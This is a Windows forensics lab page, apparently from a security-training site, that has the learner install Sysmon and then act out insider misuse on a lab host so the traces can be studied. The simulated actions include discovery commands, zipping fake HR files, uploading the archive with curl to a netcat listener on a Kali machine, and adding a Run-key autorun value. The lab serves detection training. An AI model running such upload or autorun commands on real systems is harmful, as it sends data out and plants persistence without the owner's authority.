Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Security operations basics

Lab · Medium · 1.5 hoursFree account

User Behavior Forensics

Windows execution, file-access, registry and logon artefacts, correlated into a narrative.

  • forensics
  • windows
  • registry
  • execution-artifacts
  • dfir
On this page 14 sections
  1. ·What you need first
  2. ·Lab setup
  3. 1Install Sysmon with a small configuration
  4. 2Make the user activity
  5. Locked: Review the logons of the user
  6. Locked: Find what the user ran
  7. Locked: Find the staged archive and the upload
  8. Locked: Find the autorun value
  9. Locked: Read the user traces in the registry
  10. Locked: Build the timeline
  11. Locked: Defence and detection
  12. Locked: Check
  13. Locked: Clean up
  14. Locked: Next lab

Before you start

An alert says a user did something out of character. Windows keeps part of the answer in event logs, part in the user registry hive, and part in Sysmon. The analyst must find the logon, the commands the user ran, the files the user touched and the data the user sent out, then join every source into one timeline. In this lab, you perform the actions on a lab host and read each artefact from scratch.

Lab Objectives

  • Install Sysmon with a small configuration, so that the host records process, network, file and registry events
  • Find the logons of one user in the Security log and flag the ones outside working hours
  • Find discovery commands and their parent process in Sysmon event 1
  • Link a process to its network connection with the ProcessGuid field
  • Find a staged archive and a new autorun value in Sysmon events 11 and 13
  • Read user traces in the registry (RunMRU, RecentDocs, UserAssist) and merge all sources into one timeline

An alert says "unusual user activity". The analyst must then answer four questions. When did the user sign in? What did the user run? What files did the user touch? Where did the data go? Windows keeps part of each answer in event logs, and the rest in the user registry hive. This lab teaches you to read both and to join them into one story.

You do the actions yourself on a lab machine, so you know the true answer and can check your reading of the evidence.

What you need first

Complete these items before you start:

Lab setup

In this lab, the lab host is a Windows machine. The Kali machine receives the test upload. Sysmon (System Monitor) is a free Microsoft Sysinternals tool. It writes process, network, file and registry events to its own log. A timeline is one list of events from all sources, sorted by time.

ItemRequirement
Lab hostA Windows 10, Windows 11 or Windows Server 2022 virtual machine that you own. Use a standalone machine, not a domain member.
AccountsA local administrator for the review, and a local standard user labuser for the test actions.
ShellWindows PowerShell 5.1 (built in). Open it as administrator for the review.
SysmonSysmon 15 or later. Download it from the Sysinternals page on Microsoft Learn. Unzip it to C:\LabTools.
Kali machineAny Kali machine on the same lab network. This lab uses the address 10.0.0.5. Use your own address.
SnapshotTake a snapshot of the lab host before Step 1.

Authorised use only. Run every command on a lab host that you own. All data in this lab is fake. On a real case you review a user's activity only with written authority from the owner of the system, from HR and from legal. Privacy law and company policy limit what you can look at and keep.

Step 1: Install Sysmon with a small configuration

1

Sysmon does nothing useful without a configuration. Write a short file, install Sysmon with it, and check that the service runs.

The Security log has no file hashes, no network connections and no registry changes. Sysmon records them. The configuration below logs every process start (event 1). It logs network connections of curl.exe and powershell.exe (event 3). It logs files created in a Staging or UsbSim folder (event 11). It logs changes to Run keys (event 13).

Set the time zone to UTC, so that event times and the Sysmon UtcTime field match. Then write the file and install.

powershellinstall Sysmon
tzutil /s "UTC"
New-Item -ItemType Directory C:\LabTools -Force | Out-Null
Set-Content C:\LabTools\sysmon.xml @'
<Sysmon schemaversion="4.90">
  <HashAlgorithms>sha256</HashAlgorithms>
  <EventFiltering>
    <RuleGroup name="proc" groupRelation="or">
      <ProcessCreate onmatch="exclude" />
    </RuleGroup>
    <RuleGroup name="net" groupRelation="or">
      <NetworkConnect onmatch="include">
        <Image condition="end with">curl.exe</Image>
        <Image condition="end with">powershell.exe</Image>
      </NetworkConnect>
    </RuleGroup>
    <RuleGroup name="file" groupRelation="or">
      <FileCreate onmatch="include">
        <TargetFilename condition="contains any">\Staging\;\UsbSim\</TargetFilename>
      </FileCreate>
    </RuleGroup>
    <RuleGroup name="reg" groupRelation="or">
      <RegistryEvent onmatch="include">
        <TargetObject condition="contains">CurrentVersion\Run</TargetObject>
      </RegistryEvent>
    </RuleGroup>
  </EventFiltering>
</Sysmon>
'@
cd C:\LabTools
.\Sysmon64.exe -accepteula -i C:\LabTools\sysmon.xml
Get-Service Sysmon64
textExample output (shortened)
Sysmon64 installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon64..
Sysmon64 started.

Status   Name               DisplayName
------   ----               -----------
Running  Sysmon64           Sysmon64

Define two helpers now. Get-EventData turns the named fields of an event into an object. Every later step uses it.

powershellhelper function
function Get-EventData($e) {
  $h = @{}
  ([xml]$e.ToXml()).Event.EventData.Data | ForEach-Object { $h[$_.Name] = $_.'#text' }
  [pscustomobject]$h
}
$sysmon = 'Microsoft-Windows-Sysmon/Operational'

Why this matters. You must install the sensor before the incident. Sysmon cannot show what happened before its install time.

If Sysmon reports a schema version error, your Sysmon version is older than 15. Install a newer version.

Step 2: Make the user activity

2

Act as the test user

Create the test user and the fake data. Then sign in as labuser and do the actions in the list. Note the start time first.

As the administrator, create the user and the fake HR files. The command net user labuser * /add asks you for a password.

powershellprepare the lab (administrator)
net user labuser * /add
New-Item -ItemType Directory C:\LabData\HR, C:\LabData\UsbSim -Force | Out-Null
1..5 | ForEach-Object { Set-Content "C:\LabData\HR\salary_$_.txt" "FAKE DATA $_" }
icacls C:\LabData /grant "labuser:(OI)(CI)M"
$start = Get-Date
$start

On the Kali machine, start a listener. It plays the role of an outside server.

nc -lvnp 8000

Sign out of the administrator account. Sign in at the console as labuser. Do the actions in this order, and do not hurry. A real user does not type commands in the same second.

  1. Open File Explorer. Double-click C:\Windows\System32\notepad.exe. Close Notepad.
  2. Press Win+R, type calc and press Enter. Close Calculator.
  3. Open C:\LabData\HR in File Explorer. Double-click salary_1.txt. Close Notepad.
  4. Open Windows PowerShell (not as administrator) and run the commands below.
powershellthe test actions (labuser)
whoami /all | Out-Null
net user
net localgroup administrators
mkdir $env:USERPROFILE\Staging | Out-Null
Copy-Item C:\LabData\HR\*.txt $env:USERPROFILE\Staging
Compress-Archive $env:USERPROFILE\Staging\* $env:USERPROFILE\Staging\data.zip
Copy-Item $env:USERPROFILE\Staging\data.zip C:\LabData\UsbSim\
curl.exe --max-time 5 -T $env:USERPROFILE\Staging\data.zip http://10.0.0.5:8000/data.zip
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d C:\Windows\System32\notepad.exe /f

The curl.exe command sends a fake archive to your Kali listener. The listener prints the start of an HTTP PUT request. Stop it with Ctrl+C. The reg add command sets an autorun value that starts Notepad at each logon. That is harmless, and you remove it in the clean-up.

Sign out of labuser. Sign in again as the administrator and open PowerShell as administrator. The variable $start is gone if you closed the window. Set it again: $start = (Get-Date).AddHours(-2). Define the helpers from Step 1 again too.

Sign in to continue

10 more sections are for signed-in members. It is free: sign in with Google.

Related

This lab is extra practice for the course Security operations basics. Do the lessons first.Open the course